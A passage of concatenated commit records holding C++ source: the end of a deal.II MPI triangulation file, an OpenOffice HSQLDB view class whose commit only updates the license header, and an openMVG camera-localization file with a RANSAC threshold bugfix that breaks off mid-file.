mem;\n\n  }\n\n  template <int dim, int spacedim>\n  Triangulation<dim,spacedim>::~Triangulation ()\n  {\n#ifdef DEAL_II_WITH_MPI\n    \/\/ get rid of the unique communicator used here again\n    MPI_Comm_free (&this->mpi_communicator);\n#endif\n  }\n\n  template <int dim, int spacedim>\n  Triangulation<dim,spacedim>::NumberCache::NumberCache()\n    :\n    n_global_active_cells(0),\n    n_global_levels(0)\n  {}\n\n  template <int dim, int spacedim>\n  unsigned int\n  Triangulation<dim,spacedim>::n_locally_owned_active_cells () const\n  {\n    return number_cache.n_locally_owned_active_cells[my_subdomain];\n  }\n\n  template <int dim, int spacedim>\n  unsigned int\n  Triangulation<dim,spacedim>::n_global_levels () const\n  {\n    return number_cache.n_global_levels;\n  }\n\n  template <int dim, int spacedim>\n  types::global_dof_index\n  Triangulation<dim,spacedim>::n_global_active_cells () const\n  {\n    return number_cache.n_global_active_cells;\n  }\n\n  template <int dim, int spacedim>\n  const std::vector<unsigned int> &\n  Triangulation<dim,spacedim>::n_locally_owned_active_cells_per_processor () const\n  {\n    return number_cache.n_locally_owned_active_cells;\n  }\n\n  template <int dim, int spacedim>\n  MPI_Comm\n  Triangulation<dim,spacedim>::get_communicator () const\n  {\n    return mpi_communicator;\n  }\n\n#ifdef DEAL_II_WITH_MPI\n  template <int dim, int spacedim>\n  void\n  Triangulation<dim,spacedim>::update_number_cache ()\n  {\n    Assert (number_cache.n_locally_owned_active_cells.size()\n            ==\n            Utilities::MPI::n_mpi_processes (this->mpi_communicator),\n            ExcInternalError());\n\n    std::fill (number_cache.n_locally_owned_active_cells.begin(),\n               number_cache.n_locally_owned_active_cells.end(),\n               0);\n\n    number_cache.ghost_owners.clear ();\n    number_cache.level_ghost_owners.clear ();\n\n    if (this->n_levels() == 0)\n      {\n        \/\/ Skip communication done below if we do not have any cells\n        \/\/ (meaning the Triangulation is empty on all processors). This will\n        \/\/ happen when called from the destructor of Triangulation, which\n        \/\/ can get called during exception handling causing a hang in this\n        \/\/ function.\n        number_cache.n_global_active_cells = 0;\n        number_cache.n_global_levels = 0;\n        return;\n      }\n\n\n    {\n      \/\/ find ghost owners\n      for (typename Triangulation<dim,spacedim>::active_cell_iterator\n           cell = this->begin_active();\n           cell != this->end();\n           ++cell)\n        if (cell->is_ghost())\n          number_cache.ghost_owners.insert(cell->subdomain_id());\n\n      Assert(number_cache.ghost_owners.size() < Utilities::MPI::n_mpi_processes(mpi_communicator), ExcInternalError());\n    }\n\n    if (this->n_levels() > 0)\n      for (typename Triangulation<dim,spacedim>::active_cell_iterator\n           cell = this->begin_active();\n           cell != this->end(); ++cell)\n        if (cell->subdomain_id() == my_subdomain)\n          ++number_cache.n_locally_owned_active_cells[my_subdomain];\n\n    unsigned int send_value\n      = number_cache.n_locally_owned_active_cells[my_subdomain];\n    MPI_Allgather (&send_value,\n                   1,\n                   MPI_UNSIGNED,\n                   &number_cache.n_locally_owned_active_cells[0],\n                   1,\n                   MPI_UNSIGNED,\n                   this->mpi_communicator);\n\n    number_cache.n_global_active_cells\n      = std::accumulate (number_cache.n_locally_owned_active_cells.begin(),\n                         number_cache.n_locally_owned_active_cells.end(),\n                         \/* ensure sum is computed with correct data type:*\/\n                         static_cast<types::global_dof_index>(0));\n    number_cache.n_global_levels = Utilities::MPI::max(this->n_levels(), this->mpi_communicator);\n  }\n#else\n  template <int dim, int spacedim>\n  void\n  Triangulation<dim,spacedim>::update_number_cache ()\n  {\n    Assert (false, ExcNotImplemented());\n  }\n\n#endif\n\n  template <int dim, int spacedim>\n  types::subdomain_id\n  Triangulation<dim,spacedim>::locally_owned_subdomain () const\n  {\n    return my_subdomain;\n  }\n\n  template <int dim, int spacedim>\n  const std::set<unsigned int> &\n  Triangulation<dim,spacedim>::\n  ghost_owners () const\n  {\n    return number_cache.ghost_owners;\n  }\n\n  template <int dim, int spacedim>\n  const std::set<unsigned int> &\n  Triangulation<dim,spacedim>::\n  level_ghost_owners () const\n  {\n    return number_cache.level_ghost_owners;\n  }\n\n} \/\/ end namespace parallel\n\n\n\n\n\/*-------------- Explicit Instantiations -------------------------------*\/\n#include \"tria_base.inst\"\n\nDEAL_II_NAMESPACE_CLOSE\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: HView.cxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: ihi $ $Date: 2007-11-21 15:02:09 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_connectivity.hxx\"\n\n#include \"hsqldb\/HView.hxx\"\n#include \"hsqldb\/HTools.hxx\"\n\n#include \"propertyids.hxx\"\n\n#include \"connectivity\/dbexception.hxx\"\n#include \"connectivity\/dbtools.hxx\"\n\n\/** === begin UNO includes === **\/\n#include <com\/sun\/star\/lang\/WrappedTargetException.hpp>\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n\/** === end UNO includes === **\/\n\n#include <cppuhelper\/exc_hlp.hxx>\n#include <tools\/diagnose_ex.h>\n#include <unotools\/sharedunocomponent.hxx>\n\n\/\/........................................................................\nnamespace connectivity { namespace hsqldb\n{\n\/\/........................................................................\n\n    \/** === begin UNO using === **\/\n    using ::com::sun::star::uno::Reference;\n    using ::com::sun::star::uno::UNO_QUERY;\n    using ::com::sun::star::uno::UNO_QUERY_THROW;\n    using ::com::sun::star::uno::Exception;\n    using ::com::sun::star::uno::RuntimeException;\n    using ::com::sun::star::uno::Any;\n    using ::com::sun::star::uno::makeAny;\n    using ::com::sun::star::sdbc::XDatabaseMetaData;\n    using ::com::sun::star::sdbc::SQLException;\n    using ::com::sun::star::sdbc::XConnection;\n    using ::com::sun::star::lang::WrappedTargetException;\n    using ::com::sun::star::sdbc::XResultSet;\n    using ::com::sun::star::sdbc::XStatement;\n    using ::com::sun::star::lang::DisposedException;\n    using ::com::sun::star::sdbc::XRow;\n    \/** === end UNO using === **\/\n\n    \/\/====================================================================\n    \/\/= HView\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    HView::HView( const Reference< XConnection >& _rxConnection, sal_Bool _bCaseSensitive,\n        const ::rtl::OUString& _rSchemaName, const ::rtl::OUString& _rName )\n        :HView_Base( _bCaseSensitive, _rName, _rxConnection->getMetaData(), 0, ::rtl::OUString(), _rSchemaName, ::rtl::OUString() )\n        ,m_xConnection( _rxConnection )\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    HView::~HView()\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    IMPLEMENT_FORWARD_XINTERFACE2( HView, HView_Base, HView_IBASE )\n    IMPLEMENT_FORWARD_XTYPEPROVIDER2( HView, HView_Base, HView_IBASE )\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL HView::alterCommand( const ::rtl::OUString& _rNewCommand ) throw (SQLException, RuntimeException)\n    {\n        \/\/ not really atomic ... as long as we do not have something like\n        \/\/   ALTER VIEW <name> TO <command>\n        \/\/ in HSQL, we need to do it this way ...\n        \/\/\n        \/\/ I can imagine scenarios where this fails, e.g. when dropping the view\n        \/\/ succeedes, re-creating it fails, some other thread alters a table which\n        \/\/ the view was based on, and then we try to restore the view with the\n        \/\/ original command, which then fails, too.\n        \/\/\n        \/\/ However, there's not much chance to prevent this kind of errors without\n        \/\/ backend support.\n\n        ::rtl::OUString sQualifiedName( ::dbtools::composeTableName(\n            m_xMetaData, m_CatalogName, m_SchemaName, m_Name, true, ::dbtools::eInDataManipulation ) );\n\n        ::utl::SharedUNOComponent< XStatement > xStatement; xStatement.set( m_xConnection->createStatement(), UNO_QUERY_THROW );\n\n        \/\/ create a statement which can be used to re-create the original view, in case\n        \/\/ dropping it succeeds, but creating it with a new statement fails\n        ::rtl::OUStringBuffer aRestoreCommand;\n        aRestoreCommand.appendAscii( \"CREATE VIEW \" );\n        aRestoreCommand.append     ( sQualifiedName );\n        aRestoreCommand.appendAscii( \" AS \" );\n        aRestoreCommand.append     ( impl_getCommand_throw( true ) );\n        ::rtl::OUString sRestoreCommand( aRestoreCommand.makeStringAndClear() );\n\n        bool bDropSucceeded( false );\n        try\n        {\n            \/\/ drop the existing view\n            ::rtl::OUStringBuffer aCommand;\n            aCommand.appendAscii( \"DROP VIEW \" );\n            aCommand.append     ( sQualifiedName );\n            xStatement->execute( aCommand.makeStringAndClear() );\n            bDropSucceeded = true;\n\n            \/\/ create a new one with the same name\n            aCommand.appendAscii( \"CREATE VIEW \" );\n            aCommand.append     ( sQualifiedName );\n            aCommand.appendAscii( \" AS \" );\n            aCommand.append     ( _rNewCommand );\n            xStatement->execute( aCommand.makeStringAndClear() );\n        }\n        catch( const SQLException& )\n        {\n            if ( bDropSucceeded )\n                \/\/ drop succeeded, but creation failed -> re-create the view with the original\n                \/\/ statemnet\n                xStatement->execute( sRestoreCommand );\n            throw;\n        }\n        catch( const RuntimeException& )\n        {\n            if ( bDropSucceeded )\n                xStatement->execute( sRestoreCommand );\n            throw;\n        }\n        catch( const Exception& )\n        {\n            if ( bDropSucceeded )\n                xStatement->execute( sRestoreCommand );\n            DBG_UNHANDLED_EXCEPTION();\n        }\n    }\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL HView::getFastPropertyValue( Any& _rValue, sal_Int32 _nHandle ) const\n    {\n        if ( _nHandle == PROPERTY_ID_COMMAND )\n        {\n            \/\/ retrieve the very current command, don't rely on the base classes cached value\n            \/\/ (which we initialized empty, anyway)\n            _rValue <<= impl_getCommand_throw( false );\n            return;\n        }\n\n        HView_Base::getFastPropertyValue( _rValue, _nHandle );\n    }\n\n    \/\/--------------------------------------------------------------------\n    ::rtl::OUString HView::impl_getCommand_throw( bool _bAllowSQLException ) const\n    {\n        ::rtl::OUString sCommand;\n\n        try\n        {\n            ::rtl::OUStringBuffer aCommand;\n            aCommand.appendAscii( \"SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.SYSTEM_VIEWS \" );\n            HTools::appendTableFilterCrit( aCommand, m_CatalogName, m_SchemaName, m_Name, false );\n            ::utl::SharedUNOComponent< XStatement > xStatement; xStatement.set( m_xConnection->createStatement(), UNO_QUERY_THROW );\n            Reference< XResultSet > xResult( xStatement->executeQuery( aCommand.makeStringAndClear() ), UNO_QUERY_THROW );\n            if ( !xResult->next() )\n            {\n                \/\/ hmm. There is no view view the name as we know it. Can only mean some other instance\n                \/\/ dropped this view meanwhile ...\n                throw DisposedException();\n            }\n\n            Reference< XRow > xRow( xResult, UNO_QUERY_THROW );\n            sCommand = xRow->getString( 1 );\n        }\n        catch( const RuntimeException& ) { throw; }\n        catch( const SQLException& e )\n        {\n            if ( _bAllowSQLException )\n                throw;\n            throw WrappedTargetException( e.Message, static_cast< XAlterView* >( const_cast< HView* >( this ) ), ::cppu::getCaughtException() );\n        }\n        catch( const Exception& )\n        {\n            DBG_UNHANDLED_EXCEPTION();\n        }\n\n        return sCommand;\n    }\n\n\/\/........................................................................\n} } \/\/ namespace connectivity::hsqldb\n\/\/........................................................................\n<commit_msg>INTEGRATION: CWS changefileheader (1.2.64); FILE MERGED 2008\/03\/28 15:23:38 rt 1.2.64.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: HView.cxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_connectivity.hxx\"\n\n#include \"hsqldb\/HView.hxx\"\n#include \"hsqldb\/HTools.hxx\"\n\n#include \"propertyids.hxx\"\n\n#include \"connectivity\/dbexception.hxx\"\n#include \"connectivity\/dbtools.hxx\"\n\n\/** === begin UNO includes === **\/\n#include <com\/sun\/star\/lang\/WrappedTargetException.hpp>\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n\/** === end UNO includes === **\/\n\n#include <cppuhelper\/exc_hlp.hxx>\n#include <tools\/diagnose_ex.h>\n#include <unotools\/sharedunocomponent.hxx>\n\n\/\/........................................................................\nnamespace connectivity { namespace hsqldb\n{\n\/\/........................................................................\n\n    \/** === begin UNO using === **\/\n    using ::com::sun::star::uno::Reference;\n    using ::com::sun::star::uno::UNO_QUERY;\n    using ::com::sun::star::uno::UNO_QUERY_THROW;\n    using ::com::sun::star::uno::Exception;\n    using ::com::sun::star::uno::RuntimeException;\n    using ::com::sun::star::uno::Any;\n    using ::com::sun::star::uno::makeAny;\n    using ::com::sun::star::sdbc::XDatabaseMetaData;\n    using ::com::sun::star::sdbc::SQLException;\n    using ::com::sun::star::sdbc::XConnection;\n    using ::com::sun::star::lang::WrappedTargetException;\n    using ::com::sun::star::sdbc::XResultSet;\n    using ::com::sun::star::sdbc::XStatement;\n    using ::com::sun::star::lang::DisposedException;\n    using ::com::sun::star::sdbc::XRow;\n    \/** === end UNO using === **\/\n\n    \/\/====================================================================\n    \/\/= HView\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    HView::HView( const Reference< XConnection >& _rxConnection, sal_Bool _bCaseSensitive,\n        const ::rtl::OUString& _rSchemaName, const ::rtl::OUString& _rName )\n        :HView_Base( _bCaseSensitive, _rName, _rxConnection->getMetaData(), 0, ::rtl::OUString(), _rSchemaName, ::rtl::OUString() )\n        ,m_xConnection( _rxConnection )\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    HView::~HView()\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    IMPLEMENT_FORWARD_XINTERFACE2( HView, HView_Base, HView_IBASE )\n    IMPLEMENT_FORWARD_XTYPEPROVIDER2( HView, HView_Base, HView_IBASE )\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL HView::alterCommand( const ::rtl::OUString& _rNewCommand ) throw (SQLException, RuntimeException)\n    {\n        \/\/ not really atomic ... as long as we do not have something like\n        \/\/   ALTER VIEW <name> TO <command>\n        \/\/ in HSQL, we need to do it this way ...\n        \/\/\n        \/\/ I can imagine scenarios where this fails, e.g. when dropping the view\n        \/\/ succeedes, re-creating it fails, some other thread alters a table which\n        \/\/ the view was based on, and then we try to restore the view with the\n        \/\/ original command, which then fails, too.\n        \/\/\n        \/\/ However, there's not much chance to prevent this kind of errors without\n        \/\/ backend support.\n\n        ::rtl::OUString sQualifiedName( ::dbtools::composeTableName(\n            m_xMetaData, m_CatalogName, m_SchemaName, m_Name, true, ::dbtools::eInDataManipulation ) );\n\n        ::utl::SharedUNOComponent< XStatement > xStatement; xStatement.set( m_xConnection->createStatement(), UNO_QUERY_THROW );\n\n        \/\/ create a statement which can be used to re-create the original view, in case\n        \/\/ dropping it succeeds, but creating it with a new statement fails\n        ::rtl::OUStringBuffer aRestoreCommand;\n        aRestoreCommand.appendAscii( \"CREATE VIEW \" );\n        aRestoreCommand.append     ( sQualifiedName );\n        aRestoreCommand.appendAscii( \" AS \" );\n        aRestoreCommand.append     ( impl_getCommand_throw( true ) );\n        ::rtl::OUString sRestoreCommand( aRestoreCommand.makeStringAndClear() );\n\n        bool bDropSucceeded( false );\n        try\n        {\n            \/\/ drop the existing view\n            ::rtl::OUStringBuffer aCommand;\n            aCommand.appendAscii( \"DROP VIEW \" );\n            aCommand.append     ( sQualifiedName );\n            xStatement->execute( aCommand.makeStringAndClear() );\n            bDropSucceeded = true;\n\n            \/\/ create a new one with the same name\n            aCommand.appendAscii( \"CREATE VIEW \" );\n            aCommand.append     ( sQualifiedName );\n            aCommand.appendAscii( \" AS \" );\n            aCommand.append     ( _rNewCommand );\n            xStatement->execute( aCommand.makeStringAndClear() );\n        }\n        catch( const SQLException& )\n        {\n            if ( bDropSucceeded )\n                \/\/ drop succeeded, but creation failed -> re-create the view with the original\n                \/\/ statemnet\n                xStatement->execute( sRestoreCommand );\n            throw;\n        }\n        catch( const RuntimeException& )\n        {\n            if ( bDropSucceeded )\n                xStatement->execute( sRestoreCommand );\n            throw;\n        }\n        catch( const Exception& )\n        {\n            if ( bDropSucceeded )\n                xStatement->execute( sRestoreCommand );\n            DBG_UNHANDLED_EXCEPTION();\n        }\n    }\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL HView::getFastPropertyValue( Any& _rValue, sal_Int32 _nHandle ) const\n    {\n        if ( _nHandle == PROPERTY_ID_COMMAND )\n        {\n            \/\/ retrieve the very current command, don't rely on the base classes cached value\n            \/\/ (which we initialized empty, anyway)\n            _rValue <<= impl_getCommand_throw( false );\n            return;\n        }\n\n        HView_Base::getFastPropertyValue( _rValue, _nHandle );\n    }\n\n    \/\/--------------------------------------------------------------------\n    ::rtl::OUString HView::impl_getCommand_throw( bool _bAllowSQLException ) const\n    {\n        ::rtl::OUString sCommand;\n\n        try\n        {\n            ::rtl::OUStringBuffer aCommand;\n            aCommand.appendAscii( \"SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.SYSTEM_VIEWS \" );\n            HTools::appendTableFilterCrit( aCommand, m_CatalogName, m_SchemaName, m_Name, false );\n            ::utl::SharedUNOComponent< XStatement > xStatement; xStatement.set( m_xConnection->createStatement(), UNO_QUERY_THROW );\n            Reference< XResultSet > xResult( xStatement->executeQuery( aCommand.makeStringAndClear() ), UNO_QUERY_THROW );\n            if ( !xResult->next() )\n            {\n                \/\/ hmm. There is no view view the name as we know it. Can only mean some other instance\n                \/\/ dropped this view meanwhile ...\n                throw DisposedException();\n            }\n\n            Reference< XRow > xRow( xResult, UNO_QUERY_THROW );\n            sCommand = xRow->getString( 1 );\n        }\n        catch( const RuntimeException& ) { throw; }\n        catch( const SQLException& e )\n        {\n            if ( _bAllowSQLException )\n                throw;\n            throw WrappedTargetException( e.Message, static_cast< XAlterView* >( const_cast< HView* >( this ) ), ::cppu::getCaughtException() );\n        }\n        catch( const Exception& )\n        {\n            DBG_UNHANDLED_EXCEPTION();\n        }\n\n        return sCommand;\n    }\n\n\/\/........................................................................\n} } \/\/ namespace connectivity::hsqldb\n\/\/........................................................................\n<|endoftext|>"}
{"text":"<commit_before>\n\/\/ Copyright (c) 2015 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include \"openMVG\/sfm\/pipelines\/localization\/SfM_Localizer.hpp\"\n#include \"openMVG\/sfm\/sfm_data_BA_ceres.hpp\"\n\n#include \"openMVG\/multiview\/solver_resection_kernel.hpp\"\n#include \"openMVG\/multiview\/solver_resection_p3p.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansac.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansacKernelAdaptator.hpp\"\n#include <openMVG\/robust_estimation\/robust_estimator_LORansac.hpp>\n#include <openMVG\/robust_estimation\/robust_estimator_LORansacKernelAdaptor.hpp>\n#include <openMVG\/robust_estimation\/score_evaluator.hpp>\n\nnamespace openMVG {\nnamespace sfm {\n\nstruct ResectionSquaredResidualError \n{\n  \/\/ Compute the residual of the projection distance(pt2D, Project(P,pt3D))\n  \/\/ Return the squared error\n  static double Error(const Mat34 & P, const Vec2 & pt2D, const Vec3 & pt3D)\n  {\n    const Vec2 x = Project(P, pt3D);\n    return (x - pt2D).squaredNorm();\n  }\n};\n\nbool SfM_Localizer::Localize\n(\n  const Pair & image_size,\n  const cameras::IntrinsicBase * optional_intrinsics,\n  Image_Localizer_Match_Data & resection_data,\n  geometry::Pose3 & pose,\n  robust::EROBUST_ESTIMATOR estimator\n)\n{\n  \/\/ --\n  \/\/ Compute the camera pose (resectioning)\n  \/\/ --\n  Mat34 P;\n  resection_data.vec_inliers.clear();\n\n  \/\/ Setup the admissible upper bound residual error\n  const double dPrecision =\n    resection_data.error_max == std::numeric_limits<double>::infinity() ?\n    std::numeric_limits<double>::infinity() :\n    Square(resection_data.error_max);\n\n  size_t MINIMUM_SAMPLES = 0;\n  const cameras::Pinhole_Intrinsic * pinhole_cam = dynamic_cast<const cameras::Pinhole_Intrinsic *>(optional_intrinsics);\n  if (pinhole_cam == nullptr || !pinhole_cam->isValid())\n  {\n    \/\/--\n    \/\/ Classic resection (try to compute the entire P matrix)\n    typedef openMVG::resection::kernel::SixPointResectionSolver SolverType;\n    MINIMUM_SAMPLES = SolverType::MINIMUM_SAMPLES;\n\n    typedef openMVG::robust::ACKernelAdaptorResection<\n      SolverType, ResectionSquaredResidualError, openMVG::robust::UnnormalizerResection, Mat34>\n      KernelType;\n\n    KernelType kernel(resection_data.pt2D, image_size.first, image_size.second,\n      resection_data.pt3D);\n    \/\/ Robust estimation of the Projection matrix and its precision\n    const std::pair<double,double> ACRansacOut =\n      openMVG::robust::ACRANSAC(kernel, resection_data.vec_inliers, resection_data.max_iteration, &P, dPrecision, true);\n    \/\/ Update the upper bound precision of the model found by AC-RANSAC\n    resection_data.error_max = ACRansacOut.first;\n  }\n  else\n  { \n    \/\/ undistort the points if the camera has a distortion model\n    Mat pt2Dundistorted;\n    const bool has_disto = pinhole_cam->have_disto();\n    if(has_disto)\n    {\n      const std::size_t numPts = resection_data.pt2D.cols();\n      pt2Dundistorted = Mat2X(2, numPts);\n      for(std::size_t iPoint = 0; iPoint < numPts; ++iPoint)\n      {\n        pt2Dundistorted.col(iPoint) = pinhole_cam->get_ud_pixel(resection_data.pt2D.col(iPoint));\n      }\n    }\n\n    switch(estimator)\n    {\n      case robust::ROBUST_ESTIMATOR_ACRANSAC:\n      {\n        \/\/--\n        \/\/ Since K calibration matrix is known, compute only [R|t]\n        typedef openMVG::euclidean_resection::P3PSolver SolverType;\n        MINIMUM_SAMPLES = SolverType::MINIMUM_SAMPLES;\n\n        typedef openMVG::robust::ACKernelAdaptorResection_K<\n                SolverType, ResectionSquaredResidualError,\n                openMVG::robust::UnnormalizerResection, Mat34> KernelType;\n\n        \/\/ otherwise we just pass the input points\n        KernelType kernel = KernelType(has_disto ? pt2Dundistorted : resection_data.pt2D, resection_data.pt3D, pinhole_cam->K());\n\n        \/\/ Robust estimation of the Projection matrix and its precision\n        const std::pair<double, double> ACRansacOut =\n                openMVG::robust::ACRANSAC(kernel, resection_data.vec_inliers, resection_data.max_iteration, &P, dPrecision, true);\n        \/\/ Update the upper bound precision of the model found by AC-RANSAC\n        resection_data.error_max = ACRansacOut.first;\n        break;\n      }\n\n      case robust::ROBUST_ESTIMATOR_LORANSAC:\n      {\n\n        \/\/ just a safeguard\n        if(resection_data.error_max == std::numeric_limits<double>::infinity())\n        {\n          throw std::invalid_argument(\"[SfM_Localizer::Localize] the threshold of the LORANSAC is set to infinity!\");\n        }\n\n        \/\/ use the P3P solver for generating the model\n        typedef openMVG::euclidean_resection::P3PSolver SolverType;\n        MINIMUM_SAMPLES = SolverType::MINIMUM_SAMPLES;\n        \/\/ use the six point algorithm as Least square solution to refine the model\n        typedef openMVG::resection::kernel::SixPointResectionSolver SolverLSType;\n\n        typedef openMVG::robust::KernelAdaptorResectionLORansac_K<SolverType,\n                ResectionSquaredResidualError,\n                openMVG::robust::UnnormalizerResection,\n                SolverLSType,\n                Mat34> KernelType;\n\n        \/\/ otherwise we just pass the input points\n        KernelType kernel = KernelType(has_disto ? pt2Dundistorted : resection_data.pt2D, resection_data.pt3D, pinhole_cam->K());\n\n        \/\/ this is just stupid and ugly, the threshold should be always give as pixel\n        \/\/ value, the scorer should be not aware of the fact that we treat squared errors\n        \/\/ and normalization inside the kernel\n        \/\/ @todo refactor, maybe move scorer directly inside the kernel\n        const double threshold = resection_data.error_max * resection_data.error_max \/ (kernel.normalizer2()(0, 0) * kernel.normalizer2()(0, 0));\n        robust::ScorerEvaluator<KernelType> scorer(threshold);\n        P = robust::LO_RANSAC(kernel, scorer, &resection_data.vec_inliers);\n        break;\n      }\n\n      default:\n        throw std::runtime_error(\"[SfM_Localizer::Localize] Only ACRansac and LORansac are supported!\");\n    }\n  }\n\n  \/\/ Test if the mode support some points (more than those required for estimation)\n  const bool bResection = (resection_data.vec_inliers.size() > MINIMUM_SAMPLES * OPENMVG_MINIMUM_SAMPLES_COEF);\n#ifdef WANTS_POPART_COUT\n  if (!bResection) \n  {\n    std::cout << \"bResection is false\";\n    std::cout << \" because resection_data.vec_inliers.size() = \" << resection_data.vec_inliers.size();\n    std::cout << \" and MINIMUM_SAMPLES = \" << MINIMUM_SAMPLES << std::endl;\n  }\n#endif\n\n  if (bResection)\n  {\n    resection_data.projection_matrix = P;\n    Mat3 K, R;\n    Vec3 t;\n    KRt_From_P(P, &K, &R, &t);\n    pose = geometry::Pose3(R, -R.transpose() * t);\n  }\n#ifdef WANTS_POPART_COUT\n  std::cout << \"\\n\"\n    << \"-------------------------------\" << \"\\n\"\n    << \"-- Robust Resection \" << \"\\n\"\n    << \"-- Resection status: \" << bResection << \"\\n\"\n    << \"-- #Points used for Resection: \" << resection_data.pt2D.cols() << \"\\n\"\n    << \"-- #Points validated by robust Resection: \" << resection_data.vec_inliers.size() << \"\\n\"\n    << \"-- Threshold: \" << resection_data.error_max << \"\\n\"\n    << \"-------------------------------\" << std::endl;\n#endif\n  return bResection;\n}\n\nbool SfM_Localizer::RefinePose\n(\n  cameras::IntrinsicBase * intrinsics,\n  geometry::Pose3 & pose,\n  const Image_Localizer_Match_Data & matching_data,\n  bool b_refine_pose,\n  bool b_refine_intrinsic\n)\n{\n  \/\/ Setup a tiny SfM scene with the corresponding 2D-3D data\n  SfM_Data sfm_data;\n  \/\/ view\n  sfm_data.views.insert( std::make_pair(0, std::make_shared<View>(\"\",0, 0, 0)));\n  \/\/ pose\n  sfm_data.poses[0] = pose;\n  \/\/ intrinsic (the shared_ptr does not take the ownership, will not release the input pointer)\n  std::shared_ptr<cameras::IntrinsicBase> localIntrinsics(intrinsics->clone());\n  sfm_data.intrinsics[0] = localIntrinsics;\n  \/\/ structure data (2D-3D correspondences)\n  for (size_t i = 0; i < matching_data.vec_inliers.size(); ++i)\n  {\n    const size_t idx = matching_data.vec_inliers[i];\n    Landmark landmark;\n    landmark.X = matching_data.pt3D.col(idx);\n    landmark.obs[0] = Observation(matching_data.pt2D.col(idx), UndefinedIndexT);\n    sfm_data.structure[i] = std::move(landmark);\n  }\n\n  Bundle_Adjustment_Ceres bundle_adjustment_obj;\n  BA_Refine refineOptions = BA_REFINE_NONE;\n  if(b_refine_pose)\n    refineOptions |= BA_REFINE_ROTATION | BA_REFINE_TRANSLATION;\n  if(b_refine_intrinsic)\n    refineOptions |= BA_REFINE_INTRINSICS_ALL;\n\n  const bool b_BA_Status = bundle_adjustment_obj.Adjust(sfm_data, refineOptions);\n  if (!b_BA_Status)\n    return false;\n\n  pose = sfm_data.poses[0];\n  if(b_refine_intrinsic)\n    intrinsics->assign(*localIntrinsics);\n  return true;\n}\n\n} \/\/ namespace sfm\n} \/\/ namespace openMVG\n<commit_msg>[sfm] bugfix localize loransac, wrong normalization for threshold<commit_after>\n\/\/ Copyright (c) 2015 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include \"openMVG\/sfm\/pipelines\/localization\/SfM_Localizer.hpp\"\n#include \"openMVG\/sfm\/sfm_data_BA_ceres.hpp\"\n\n#include \"openMVG\/multiview\/solver_resection_kernel.hpp\"\n#include \"openMVG\/multiview\/solver_resection_p3p.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansac.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansacKernelAdaptator.hpp\"\n#include <openMVG\/robust_estimation\/robust_estimator_LORansac.hpp>\n#include <openMVG\/robust_estimation\/robust_estimator_LORansacKernelAdaptor.hpp>\n#include <openMVG\/robust_estimation\/score_evaluator.hpp>\n\nnamespace openMVG {\nnamespace sfm {\n\nstruct ResectionSquaredResidualError \n{\n  \/\/ Compute the residual of the projection distance(pt2D, Project(P,pt3D))\n  \/\/ Return the 